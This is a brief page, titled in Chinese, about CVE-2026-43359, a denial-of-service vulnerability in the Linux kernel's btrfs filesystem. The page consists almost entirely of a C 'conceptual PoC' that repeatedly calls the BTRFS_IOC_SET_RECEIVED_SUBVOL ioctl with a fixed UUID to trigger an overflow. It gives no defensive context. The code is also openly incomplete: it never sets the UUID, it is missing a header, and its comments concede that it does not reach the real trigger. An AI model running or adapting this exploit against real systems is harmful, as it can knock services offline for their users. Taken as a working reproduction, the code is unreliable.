CVE-2026-43359 Linux内核btrfs拒绝服务漏洞

#include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/btrfs.h> // This is a conceptual PoC for CVE-2026-43359 // Logic: Call BTRFS_IOC_SET_RECEIVED_SUBVOL repeatedly on many subvolumes // with the same UUID to trigger item overflow. int main() { int fd = open("/mnt/btrfs_subvol", O_RDONLY); if (fd < 0) return 1; struct btrfs_ioctl_received_subvol_args args; // Fill args with a specific UUID memset(&args, 0, sizeof(args)); // ... set args.uuid ... // Loop to trigger overflow for(int i=0; i<10000; i++) { // In a real scenario, this would target multiple subvolumes or // manipulate the filesystem structure to hit the limit. ioctl(fd, BTRFS_IOC_SET_RECEIVED_SUBVOL, &args); } close(fd); return 0; }